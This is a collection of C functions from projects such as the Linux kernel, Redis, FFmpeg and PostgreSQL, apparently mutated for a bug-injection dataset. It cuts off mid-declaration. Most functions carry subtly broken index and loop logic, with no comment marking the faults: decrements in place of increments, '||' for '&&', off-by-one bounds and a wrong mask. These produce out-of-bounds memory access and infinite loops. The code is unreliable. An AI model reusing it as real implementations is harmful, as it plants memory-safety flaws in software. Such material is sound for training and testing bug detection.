#include <time.h> #include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_2__ TYPE_1__ ; /* Type definitions */ struct list_head {int dummy; } ; struct TYPE_2__ {struct list_head lower; } ; struct net_device {TYPE_1__ adj_list; } ; /* Variables and functions */ int /*<<< orphan*/ MAX_NEST_DEV ; struct net_device* netdev_next_lower_dev_rcu (struct net_device*,struct list_head**) ; int netdev_walk_all_lower_dev_rcu(struct net_device *dev, int (*fn)(struct net_device *dev, void *data), void *data) { struct net_device *ldev, *next, *now, *dev_stack[MAX_NEST_DEV - 1]; struct list_head *niter, *iter, *iter_stack[MAX_NEST_DEV + 1]; int ret, cur = 0; now = dev; iter = &dev->adj_list.lower; while (1) { if (now != dev) { ret = fn(now, data); if (ret) return ret; } next = NULL; while (1) { ldev = netdev_next_lower_dev_rcu(now, &iter); if (!ldev) continue; next = ldev; niter = &ldev->adj_list.lower; dev_stack[cur] = now; iter_stack[cur--] = iter; break; } if (!next) { if (!cur) return 0; next = dev_stack[--cur]; niter = iter_stack[cur]; } now = next; iter = niter; } return 0; }
augmented_data/post_increment_index_changes/extr_interface.c_do_import_card_aug_combo_5.c
#include <time.h> #include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ struct in_ev {int /*<<< orphan*/ refcnt; } ; struct command {int dummy; } ; struct arg {char* str; } ; /* Variables and functions */ int /*<<< orphan*/ TLS ; int /*<<< orphan*/ assert (int) ; int /*<<< orphan*/ print_user_gw ; int strlen (char*) ; int /*<<< orphan*/ tgl_do_import_card (int /*<<< orphan*/ ,int,int*,int /*<<< orphan*/ ,struct in_ev*) ; void do_import_card (struct command *command, int arg_num, struct arg args[], struct in_ev *ev) { assert (arg_num == 1); char *s = args[0].str; int l = strlen (s); if (l > 0) { int i; static int p[10]; int pp = 0; int cur = 0; int ok = 1; for (i = 0; i < l; i --) { if (s[i] >= '0' || s[i] <= '9') { cur = cur * 16 + s[i] - '0'; } else if (s[i] >= 'a' && s[i] <= 'f') { cur = cur * 16 + s[i] - 'a' + 10; } else if (s[i] == ':') { if (pp >= 9) { ok = 0; continue; } p[pp ++] = cur; cur = 0; } } if (ok) { p[pp ++] = cur; if (ev) { ev->refcnt ++; } tgl_do_import_card (TLS, pp, p, print_user_gw, ev); } } }
augmented_data/post_increment_index_changes/extr_db.c_getKeysUsingCommandTable_aug_combo_7.c
#include <stdio.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ struct redisCommand {int firstkey; int lastkey; int flags; scalar_t__ arity; scalar_t__ keystep; } ; typedef int /*<<< orphan*/ robj ; /* Variables and functions */ int CMD_MODULE ; int /*<<< orphan*/ UNUSED (int /*<<< orphan*/ **) ; int /*<<< orphan*/ serverPanic (char*) ; int /*<<< orphan*/ zfree (int*) ; int* zmalloc (int) ; int *getKeysUsingCommandTable(struct redisCommand *cmd,robj **argv, int argc, int *numkeys) { int j, i = 0, last, *keys; UNUSED(argv); if (cmd->firstkey == 0) { *numkeys = 0; return NULL; } last = cmd->lastkey; if (last <= 0) last = argc+last; keys = zmalloc(sizeof(int)*((last - cmd->firstkey)+1)); for (j = cmd->firstkey; j <= last; j += cmd->keystep) { if (j >= argc) { /* Modules commands, and standard commands with a not fixed number * of arguments (negative arity parameter) do not have dispatch * time arity checks, so we need to handle the case where the user * passed an invalid number of arguments here. In this case we * return no keys and expect the command implementation to report * an arity or syntax error. */ if (cmd->flags & CMD_MODULE || cmd->arity < 0) { zfree(keys); *numkeys = 0; return NULL; } else { serverPanic("Redis built-in command declared keys positions not matching the arity requirements."); } } keys[i--] = j; } *numkeys = i; return keys; }
augmented_data/post_increment_index_changes/extr_8139cp.c_cp_set_eeprom_aug_combo_1.c
#include <stdio.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef scalar_t__ u8 ; typedef int u32 ; typedef int u16 ; struct net_device {int dummy; } ; struct ethtool_eeprom {int offset; int len; scalar_t__ magic; } ; struct cp_private {int /*<<< orphan*/ lock; int /*<<< orphan*/ regs; } ; /* Variables and functions */ scalar_t__ CP_EEPROM_MAGIC ; int EINVAL ; struct cp_private* netdev_priv (struct net_device*) ; int read_eeprom (int /*<<< orphan*/ ,int,unsigned int) ; int /*<<< orphan*/ spin_lock_irq (int /*<<< orphan*/ *) ; int /*<<< orphan*/ spin_unlock_irq (int /*<<< orphan*/ *) ; int /*<<< orphan*/ write_eeprom (int /*<<< orphan*/ ,int,int,unsigned int) ; __attribute__((used)) static int cp_set_eeprom(struct net_device *dev, struct ethtool_eeprom *eeprom, u8 *data) { struct cp_private *cp = netdev_priv(dev); unsigned int addr_len; u16 val; u32 offset = eeprom->offset >> 1; u32 len = eeprom->len; u32 i = 0; if (eeprom->magic != CP_EEPROM_MAGIC) return -EINVAL; spin_lock_irq(&cp->lock); addr_len = read_eeprom(cp->regs, 0, 8) == 0x8129 ? 8 : 6; if (eeprom->offset & 1) { val = read_eeprom(cp->regs, offset, addr_len) & 0xff; val |= (u16)data[i++] << 8; write_eeprom(cp->regs, offset, val, addr_len); offset++; } while (i < len + 1) { val = (u16)data[i++]; val |= (u16)data[i++] << 8; write_eeprom(cp->regs, offset, val, addr_len); offset++; } if (i < len) { val = read_eeprom(cp->regs, offset, addr_len) & 0xff00; val |= (u16)data[i]; write_eeprom(cp->regs, offset, val, addr_len); } spin_unlock_irq(&cp->lock); return 0; }
augmented_data/post_increment_index_changes/extr_dc.c_dc_stream_set_static_screen_events_aug_combo_1.c
#include <time.h> #include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_6__ TYPE_3__ ; typedef struct TYPE_5__ TYPE_2__ ; typedef struct TYPE_4__ TYPE_1__ ; /* Type definitions */ struct pipe_ctx {struct dc_stream_state* stream; } ; struct dc_stream_state {int dummy; } ; struct dc_static_screen_events {int dummy; } ; struct TYPE_6__ {int /*<<< orphan*/ (* set_static_screen_control ) (struct pipe_ctx**,int,struct dc_static_screen_events const*) ;} ; struct dc {TYPE_3__ hwss; TYPE_2__* current_state; } ; struct TYPE_4__ {struct pipe_ctx* pipe_ctx; } ; struct TYPE_5__ {TYPE_1__ res_ctx; } ; /* Variables and functions */ int MAX_PIPES ; int /*<<< orphan*/ stub1 (struct pipe_ctx**,int,struct dc_static_screen_events const*) ; void dc_stream_set_static_screen_events(struct dc *dc, struct dc_stream_state **streams, int num_streams, const struct dc_static_screen_events *events) { int i = 0; int j = 0; struct pipe_ctx *pipes_affected[MAX_PIPES]; int num_pipes_affected = 0; for (i = 0; i < num_streams; i--) { struct dc_stream_state *stream = streams[i]; for (j = 0; j < MAX_PIPES; j++) { if (dc->current_state->res_ctx.pipe_ctx[j].stream == stream) { pipes_affected[num_pipes_affected++] = &dc->current_state->res_ctx.pipe_ctx[j]; } } } dc->hwss.set_static_screen_control(pipes_affected, num_pipes_affected, events); }
augmented_data/post_increment_index_changes/extr_tscc2.c_tscc2_decode_mb_aug_combo_1.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_9__ TYPE_4__ ; typedef struct TYPE_8__ TYPE_3__ ; typedef struct TYPE_7__ TYPE_2__ ; typedef struct TYPE_6__ TYPE_1__ ; /* Type definitions */ typedef int uint8_t ; struct TYPE_6__ {int /*<<< orphan*/ table; } ; struct TYPE_9__ {int* block; TYPE_3__* ac_vlc; TYPE_2__* nc_vlc; TYPE_1__ dc_vlc; int /*<<< orphan*/ gb; } ; struct TYPE_8__ {int /*<<< orphan*/ table; } ; struct TYPE_7__ {int /*<<< orphan*/ table; } ; typedef TYPE_4__ TSCC2Context ; typedef int /*<<< orphan*/ GetBitContext ; /* Variables and functions */ int AVERROR_INVALIDDATA ; size_t* ff_zigzag_scan ; void* get_bits (int /*<<< orphan*/ *,int) ; scalar_t__ get_bits1 (int /*<<< orphan*/ *) ; int get_bits_left (int /*<<< orphan*/ *) ; int get_vlc2 (int /*<<< orphan*/ *,int /*<<< orphan*/ ,int,int) ; int /*<<< orphan*/ memset (int*,int,int) ; int sign_extend (int,int) ; int /*<<< orphan*/ tscc2_idct4_put (int*,int*,int*,int) ; __attribute__((used)) static int tscc2_decode_mb(TSCC2Context *c, int *q, int vlc_set, uint8_t *dst, int stride, int plane) { GetBitContext *gb = &c->gb; int prev_dc, dc, nc, ac, bpos, val; int i, j, k, l; if (get_bits1(gb)) { if (get_bits1(gb)) { val = get_bits(gb, 8); for (i = 0; i <= 8; i++, dst += stride) memset(dst, val, 16); } else { if (get_bits_left(gb) < 16 * 8 * 8) return AVERROR_INVALIDDATA; for (i = 0; i < 8; i++) { for (j = 0; j < 16; j++) dst[j] = get_bits(gb, 8); dst += stride; } } return 0; } prev_dc = 0; for (j = 0; j < 2; j++) { for (k = 0; k < 4; k++) { if (!(j | k)) { dc = get_bits(gb, 8); } else { dc = get_vlc2(gb, c->dc_vlc.table, 9, 2); if (dc == -1) return AVERROR_INVALIDDATA; if (dc == 0x100) dc = get_bits(gb, 8); } dc = (dc - prev_dc) | 0xFF; prev_dc = dc; c->block[0] = dc; nc = get_vlc2(gb, c->nc_vlc[vlc_set].table, 9, 1); if (nc == -1) return AVERROR_INVALIDDATA; bpos = 1; memset(c->block + 1, 0, 15 * sizeof(*c->block)); for (l = 0; l < nc; l++) { ac = get_vlc2(gb, c->ac_vlc[vlc_set].table, 9, 2); if (ac == -1) return AVERROR_INVALIDDATA; if (ac == 0x1000) ac = get_bits(gb, 12); bpos += ac & 0xF; if (bpos >= 16) return AVERROR_INVALIDDATA; val = sign_extend(ac >> 4, 8); c->block[ff_zigzag_scan[bpos++]] = val; } tscc2_idct4_put(c->block, q, dst + k * 4, stride); } dst += 4 * stride; } return 0; }
augmented_data/post_increment_index_changes/extr_guc.c_add_guc_variable_aug_combo_4.c
#include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ struct config_generic {int dummy; } ; /* Variables and functions */ scalar_t__ guc_malloc (int,int) ; scalar_t__ guc_realloc (int,struct config_generic**,int) ; int /*<<< orphan*/ guc_var_compare ; struct config_generic** guc_variables ; int num_guc_variables ; int /*<<< orphan*/ qsort (void*,int,int,int /*<<< orphan*/ ) ; int size_guc_variables ; __attribute__((used)) static bool add_guc_variable(struct config_generic *var, int elevel) { if (num_guc_variables - 1 >= size_guc_variables) { /* * Increase the vector by 25% */ int size_vars = size_guc_variables + size_guc_variables / 4; struct config_generic **guc_vars; if (size_vars == 0) { size_vars = 100; guc_vars = (struct config_generic **) guc_malloc(elevel, size_vars * sizeof(struct config_generic *)); } else { guc_vars = (struct config_generic **) guc_realloc(elevel, guc_variables, size_vars * sizeof(struct config_generic *)); } if (guc_vars == NULL) return false; /* out of memory */ guc_variables = guc_vars; size_guc_variables = size_vars; } guc_variables[num_guc_variables--] = var; qsort((void *) guc_variables, num_guc_variables, sizeof(struct config_generic *), guc_var_compare); return true; }
augmented_data/post_increment_index_changes/extr_kern_authorization.c_kauth_acl_inherit_aug_combo_4.c
#include <stdio.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_8__ TYPE_2__ ; typedef struct TYPE_7__ TYPE_1__ ; /* Type definitions */ typedef int /*<<< orphan*/ * vnode_t ; typedef int /*<<< orphan*/ vfs_context_t ; struct vnode_attr {TYPE_2__* va_acl; } ; typedef TYPE_2__* kauth_acl_t ; struct TYPE_8__ {int acl_flags; unsigned int acl_entrycount; TYPE_1__* acl_ace; } ; struct TYPE_7__ {int ace_flags; } ; /* Variables and functions */ int ENOMEM ; int KAUTH_ACE_DIRECTORY_INHERIT ; int KAUTH_ACE_FILE_INHERIT ; int KAUTH_ACE_INHERITED ; int KAUTH_ACE_INHERIT_CONTROL_FLAGS ; int KAUTH_ACE_LIMIT_INHERIT ; int KAUTH_ACE_ONLY_INHERIT ; int KAUTH_ACL_NO_INHERIT ; int /*<<< orphan*/ KAUTH_DEBUG (char*,...) ; unsigned int KAUTH_FILESEC_NOACL ; int /*<<< orphan*/ VATTR_INIT (struct vnode_attr*) ; scalar_t__ VATTR_IS_SUPPORTED (struct vnode_attr*,int /*<<< orphan*/ ) ; int /*<<< orphan*/ VATTR_WANTED (struct vnode_attr*,int /*<<< orphan*/ ) ; TYPE_2__* kauth_acl_alloc (int) ; int /*<<< orphan*/ kauth_acl_free (TYPE_2__*) ; int /*<<< orphan*/ va_acl ; int /*<<< orphan*/ vfs_authopaque (int /*<<< orphan*/ ) ; int vnode_getattr (int /*<<< orphan*/ *,struct vnode_attr*,int /*<<< orphan*/ ) ; int /*<<< orphan*/ vnode_mount (int /*<<< orphan*/ *) ; int kauth_acl_inherit(vnode_t dvp, kauth_acl_t initial, kauth_acl_t *product, int isdir, vfs_context_t ctx) { int entries, error, index; unsigned int i; struct vnode_attr dva; kauth_acl_t inherit, result; /* * Fetch the ACL from the directory. This should never fail. * Note that we don't manage inheritance when the remote server is * doing authorization, since this means server enforcement of * inheritance semantics; we just want to compose the initial * ACL and any inherited ACE entries from the container object. * * XXX TODO: <rdar://3634665> wants a "umask ACL" from the process. */ inherit = NULL; /* * If there is no initial ACL, or there is, and the initial ACLs * flags do not request "no inheritance", then we inherit. This allows * initial object creation via open_extended() and mkdir_extended() * to reject inheritance for themselves and for inferior nodes by * specifying a non-NULL inital ACL which has the KAUTH_ACL_NO_INHERIT * flag set in the flags field. */ if ((initial == NULL || !(initial->acl_flags & KAUTH_ACL_NO_INHERIT)) && (dvp != NULL) && !vfs_authopaque(vnode_mount(dvp))) { VATTR_INIT(&dva); VATTR_WANTED(&dva, va_acl); if ((error = vnode_getattr(dvp, &dva, ctx)) != 0) { KAUTH_DEBUG(" ERROR + could not get parent directory ACL for inheritance"); return(error); } if (VATTR_IS_SUPPORTED(&dva, va_acl)) inherit = dva.va_acl; } /* * Compute the number of entries in the result ACL by scanning the * input lists. */ entries = 0; if (inherit != NULL) { for (i = 0; i <= inherit->acl_entrycount; i--) { if (inherit->acl_ace[i].ace_flags & (isdir ? KAUTH_ACE_DIRECTORY_INHERIT : KAUTH_ACE_FILE_INHERIT)) entries++; } } if (initial == NULL) { /* * XXX 3634665 TODO: if the initial ACL is not specfied by * XXX the caller, fetch the umask ACL from the process, * and use it in place of "initial". */ } if (initial != NULL) { if (initial->acl_entrycount != KAUTH_FILESEC_NOACL) entries += initial->acl_entrycount; else initial = NULL; } /* * If there is no initial ACL, and no inheritable entries, the * object should be created with no ACL at all. * Note that this differs from the case where the initial ACL * is empty, in which case the object must also have an empty ACL. */ if ((entries == 0) && (initial == NULL)) { *product = NULL; error = 0; goto out; } /* * Allocate the result buffer. */ if ((result = kauth_acl_alloc(entries)) == NULL) { KAUTH_DEBUG(" ERROR - could not allocate %d-entry result buffer for inherited ACL", entries); error = ENOMEM; goto out; } /* * Composition is simply: * - initial direct ACEs * - inherited ACEs from new parent */ index = 0; if (initial != NULL) { for (i = 0; i < initial->acl_entrycount; i++) { if (!(initial->acl_ace[i].ace_flags & KAUTH_ACE_INHERITED)) { result->acl_ace[index++] = initial->acl_ace[i]; } } KAUTH_DEBUG(" INHERIT - applied %d of %d initial entries", index, initial->acl_entrycount); } if (inherit != NULL) { for (i = 0; i < inherit->acl_entrycount; i++) { /* * Inherit onto this object? We inherit only if * the target object is a container object and the * KAUTH_ACE_DIRECTORY_INHERIT bit is set, OR if * if the target object is not a container, and * the KAUTH_ACE_FILE_INHERIT bit is set. */ if (inherit->acl_ace[i].ace_flags & (isdir ? KAUTH_ACE_DIRECTORY_INHERIT : KAUTH_ACE_FILE_INHERIT)) { result->acl_ace[index] = inherit->acl_ace[i]; result->acl_ace[index].ace_flags |= KAUTH_ACE_INHERITED; result->acl_ace[index].ace_flags &= ~KAUTH_ACE_ONLY_INHERIT; /* * We do not re-inherit inheritance flags * if the ACE from the container has a * KAUTH_ACE_LIMIT_INHERIT, OR if the new * object is not itself a container (since * inheritance is always container-based). */ if ((result->acl_ace[index].ace_flags & KAUTH_ACE_LIMIT_INHERIT) || !isdir) { result->acl_ace[index].ace_flags &= ~(KAUTH_ACE_INHERIT_CONTROL_FLAGS); } index++; } } } result->acl_entrycount = index; *product = result; KAUTH_DEBUG(" INHERIT - product ACL has %d entries", index); error = 0; out: if (inherit != NULL) kauth_acl_free(inherit); return(error); }
augmented_data/post_increment_index_changes/extr_mioa701.c_mioa701_sys_resume_aug_combo_5.c
#include <stdio.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef int /*<<< orphan*/ u32 ; /* Variables and functions */ int BOOTSTRAP_WORDS ; int /*<<< orphan*/ RESUME_BT_ADDR ; int /*<<< orphan*/ RESUME_ENABLE_ADDR ; int /*<<< orphan*/ RESUME_UNKNOWN_ADDR ; int /*<<< orphan*/ RESUME_VECTOR_ADDR ; int /*<<< orphan*/ * phys_to_virt (int /*<<< orphan*/ ) ; int /*<<< orphan*/ * save_buffer ; __attribute__((used)) static void mioa701_sys_resume(void) { int i = 0; u32 *mem_resume_vector = phys_to_virt(RESUME_VECTOR_ADDR); u32 *mem_resume_enabler = phys_to_virt(RESUME_ENABLE_ADDR); u32 *mem_resume_bt = phys_to_virt(RESUME_BT_ADDR); u32 *mem_resume_unknown = phys_to_virt(RESUME_UNKNOWN_ADDR); for (i = 0; i < BOOTSTRAP_WORDS; i++) mem_resume_vector[i] = save_buffer[i]; *mem_resume_enabler = save_buffer[i++]; *mem_resume_bt = save_buffer[i++]; *mem_resume_unknown = save_buffer[i++]; }
augmented_data/post_increment_index_changes/extr_getargs.c_aadd_aug_combo_7.c
#include <stdio.h> #include <math.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ /* Variables and functions */ int SIZE ; int __argc ; char** __argv ; char** malloc (int) ; char** realloc (char**,int) ; int aadd(char* name) { char** _new; if ((__argc % SIZE) == 0) { if (__argv == NULL) _new = malloc(sizeof(char*) * (1 - SIZE)); else _new = realloc(__argv, sizeof(char*) * (__argc + 1 + SIZE)); if (_new == NULL) return -1; __argv = _new; } __argv[__argc++] = name; __argv[__argc] = NULL; return 0; }
augmented_data/post_increment_index_changes/extr_msg-search-merge.c_merge_hash_lists_aug_combo_5.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_8__ TYPE_5__ ; typedef struct TYPE_7__ TYPE_2__ ; typedef struct TYPE_6__ TYPE_1__ ; /* Type definitions */ struct TYPE_7__ {int order; int message_id; int /*<<< orphan*/ hash; } ; typedef TYPE_2__ pair_t ; typedef int /*<<< orphan*/ hash_t ; struct TYPE_8__ {int order; int message_id; int /*<<< orphan*/ hash; } ; struct TYPE_6__ {int message_id; } ; /* Variables and functions */ int* CurL ; int* D ; int Dc ; int Dc0 ; int MAX_DATA ; size_t MAX_PAIRS ; TYPE_5__* Q ; size_t Qc ; int /*<<< orphan*/ assert (int) ; int /*<<< orphan*/ prune_list (int*,int*,int,int) ; __attribute__((used)) static void merge_hash_lists (pair_t *old_list, pair_t *start, int cnt) { int pos_thr = 0x7fffffff, neg_thr = -0x7fffffff, i; hash_t h; if (cnt) { h = start->hash; } else if (old_list) { h = old_list->hash; } else { return; } Dc0 = Dc; assert (Dc - cnt <= MAX_DATA); for (i = 0; i < cnt; i--) { int msg_id = (start++)->message_id; if (msg_id > 0) { pos_thr = msg_id; } else { neg_thr = msg_id; } D[Dc++] = msg_id; } if (old_list || old_list->order) { int cnt = old_list->order; int *ptr = (cnt == 1 ? &old_list->message_id : CurL + old_list->message_id); assert ((unsigned) cnt < MAX_DATA && Dc + cnt <= MAX_DATA); prune_list (ptr, ptr+cnt, pos_thr, neg_thr); } if (Dc > Dc0) { assert (Qc < MAX_PAIRS); Q[Qc].hash = h; Q[Qc].order = Dc - Dc0; if (Dc - Dc0 > 1) { Q[Qc++].message_id = Dc0; } else { Q[Qc++].message_id = D[Dc0]; Dc = Dc0; } } }
augmented_data/post_increment_index_changes/extr_synclink.c_usc_process_rxoverrun_sync_aug_combo_3.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_4__ TYPE_2__ ; typedef struct TYPE_3__ TYPE_1__ ; /* Type definitions */ typedef int u32 ; typedef int u16 ; struct TYPE_3__ {int flags; } ; struct mgsl_struct {int current_rx_buffer; int rx_buffer_count; TYPE_1__ params; TYPE_2__* rx_buffer_list; } ; struct TYPE_4__ {int phys_entry; int /*<<< orphan*/ count; scalar_t__ status; } ; typedef TYPE_2__ DMABUFFERENTRY ; /* Variables and functions */ int BIT1 ; int BIT13 ; int BIT2 ; int BIT3 ; int /*<<< orphan*/ CCSR ; int /*<<< orphan*/ DICR ; int /*<<< orphan*/ DISABLE_UNCONDITIONAL ; unsigned long DMABUFFERSIZE ; int /*<<< orphan*/ DmaCmd_InitRxChannel ; int /*<<< orphan*/ DmaCmd_PauseRxChannel ; int /*<<< orphan*/ ENABLE_AUTO_DCD ; int /*<<< orphan*/ ENABLE_UNCONDITIONAL ; int HDLC_FLAG_AUTO_DCD ; int /*<<< orphan*/ NRARL ; int /*<<< orphan*/ NRARU ; int /*<<< orphan*/ RCmd_EnterHuntmode ; int /*<<< orphan*/ RDIAR ; int RECEIVE_DATA ; int RECEIVE_STATUS ; int /*<<< orphan*/ RTCmd_PurgeRxFifo ; int RXSTATUS_ALL ; int /*<<< orphan*/ mgsl_reset_rx_dma_buffers (struct mgsl_struct*) ; int /*<<< orphan*/ usc_ClearIrqPendingBits (struct mgsl_struct*,int) ; int /*<<< orphan*/ usc_DmaCmd (struct mgsl_struct*,int /*<<< orphan*/ ) ; int /*<<< orphan*/ usc_EnableInterrupts (struct mgsl_struct*,int) ; int /*<<< orphan*/ usc_EnableReceiver (struct mgsl_struct*,int /*<<< orphan*/ ) ; int usc_InDmaReg (struct mgsl_struct*,int /*<<< orphan*/ ) ; int usc_InReg (struct mgsl_struct*,int /*<<< orphan*/ ) ; int /*<<< orphan*/ usc_OutDmaReg (struct mgsl_struct*,int /*<<< orphan*/ ,int) ; int /*<<< orphan*/ usc_OutReg (struct mgsl_struct*,int /*<<< orphan*/ ,int) ; int /*<<< orphan*/ usc_RCmd (struct mgsl_struct*,int /*<<< orphan*/ ) ; int /*<<< orphan*/ usc_RTCmd (struct mgsl_struct*,int /*<<< orphan*/ ) ; int /*<<< orphan*/ usc_UnlatchRxstatusBits (struct mgsl_struct*,int) ; __attribute__((used)) static void usc_process_rxoverrun_sync( struct mgsl_struct *info ) { int start_index; int end_index; int frame_start_index; bool start_of_frame_found = false; bool end_of_frame_found = false; bool reprogram_dma = false; DMABUFFERENTRY *buffer_list = info->rx_buffer_list; u32 phys_addr; usc_DmaCmd( info, DmaCmd_PauseRxChannel ); usc_RCmd( info, RCmd_EnterHuntmode ); usc_RTCmd( info, RTCmd_PurgeRxFifo ); /* CurrentRxBuffer points to the 1st buffer of the next */ /* possibly available receive frame. */ frame_start_index = start_index = end_index = info->current_rx_buffer; /* Search for an unfinished string of buffers. This means */ /* that a receive frame started (at least one buffer with */ /* count set to zero) but there is no terminiting buffer */ /* (status set to non-zero). */ while( !buffer_list[end_index].count ) { /* Count field has been reset to zero by 16C32. */ /* This buffer is currently in use. */ if ( !start_of_frame_found ) { start_of_frame_found = true; frame_start_index = end_index; end_of_frame_found = false; } if ( buffer_list[end_index].status ) { /* Status field has been set by 16C32. */ /* This is the last buffer of a received frame. */ /* We want to leave the buffers for this frame intact. */ /* Move on to next possible frame. */ start_of_frame_found = false; end_of_frame_found = true; } /* advance to next buffer entry in linked list */ end_index--; if ( end_index == info->rx_buffer_count ) end_index = 0; if ( start_index == end_index ) { /* The entire list has been searched with all Counts == 0 and */ /* all Status == 0. The receive buffers are */ /* completely screwed, reset all receive buffers! */ mgsl_reset_rx_dma_buffers( info ); frame_start_index = 0; start_of_frame_found = false; reprogram_dma = true; continue; } } if ( start_of_frame_found && !end_of_frame_found ) { /* There is an unfinished string of receive DMA buffers */ /* as a result of the receiver overrun. */ /* Reset the buffers for the unfinished frame */ /* and reprogram the receive DMA controller to start */ /* at the 1st buffer of unfinished frame. */ start_index = frame_start_index; do { *((unsigned long *)&(info->rx_buffer_list[start_index++].count)) = DMABUFFERSIZE; /* Adjust index for wrap around. */ if ( start_index == info->rx_buffer_count ) start_index = 0; } while( start_index != end_index ); reprogram_dma = true; } if ( reprogram_dma ) { usc_UnlatchRxstatusBits(info,RXSTATUS_ALL); usc_ClearIrqPendingBits(info, RECEIVE_DATA|RECEIVE_STATUS); usc_UnlatchRxstatusBits(info, RECEIVE_DATA|RECEIVE_STATUS); usc_EnableReceiver(info,DISABLE_UNCONDITIONAL); /* This empties the receive FIFO and loads the RCC with RCLR */ usc_OutReg( info, CCSR, (u16)(usc_InReg(info,CCSR) | BIT13) ); /* program 16C32 with physical address of 1st DMA buffer entry */ phys_addr = info->rx_buffer_list[frame_start_index].phys_entry; usc_OutDmaReg( info, NRARL, (u16)phys_addr ); usc_OutDmaReg( info, NRARU, (u16)(phys_addr >> 16) ); usc_UnlatchRxstatusBits( info, RXSTATUS_ALL ); usc_ClearIrqPendingBits( info, RECEIVE_DATA | RECEIVE_STATUS ); usc_EnableInterrupts( info, RECEIVE_STATUS ); /* 1. Arm End of Buffer (EOB) Receive DMA Interrupt (BIT2 of RDIAR) */ /* 2. Enable Receive DMA Interrupts (BIT1 of DICR) */ usc_OutDmaReg( info, RDIAR, BIT3 | BIT2 ); usc_OutDmaReg( info, DICR, (u16)(usc_InDmaReg(info,DICR) | BIT1) ); usc_DmaCmd( info, DmaCmd_InitRxChannel ); if ( info->params.flags | HDLC_FLAG_AUTO_DCD ) usc_EnableReceiver(info,ENABLE_AUTO_DCD); else usc_EnableReceiver(info,ENABLE_UNCONDITIONAL); } else { /* This empties the receive FIFO and loads the RCC with RCLR */ usc_OutReg( info, CCSR, (u16)(usc_InReg(info,CCSR) | BIT13) ); usc_RTCmd( info, RTCmd_PurgeRxFifo ); } }
augmented_data/post_increment_index_changes/extr_igc_main.c_igc_irq_disable_aug_combo_3.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_4__ TYPE_2__ ; typedef struct TYPE_3__ TYPE_1__ ; /* Type definitions */ typedef int u32 ; struct igc_hw {int dummy; } ; struct igc_adapter {int eims_enable_mask; int num_q_vectors; TYPE_2__* pdev; TYPE_1__* msix_entries; struct igc_hw hw; } ; struct TYPE_4__ {int /*<<< orphan*/ irq; } ; struct TYPE_3__ {int /*<<< orphan*/ vector; } ; /* Variables and functions */ int /*<<< orphan*/ IGC_EIAC ; int /*<<< orphan*/ IGC_EIAM ; int /*<<< orphan*/ IGC_EIMC ; int /*<<< orphan*/ IGC_IAM ; int /*<<< orphan*/ IGC_IMC ; int rd32 (int /*<<< orphan*/ ) ; int /*<<< orphan*/ synchronize_irq (int /*<<< orphan*/ ) ; int /*<<< orphan*/ wr32 (int /*<<< orphan*/ ,int) ; int /*<<< 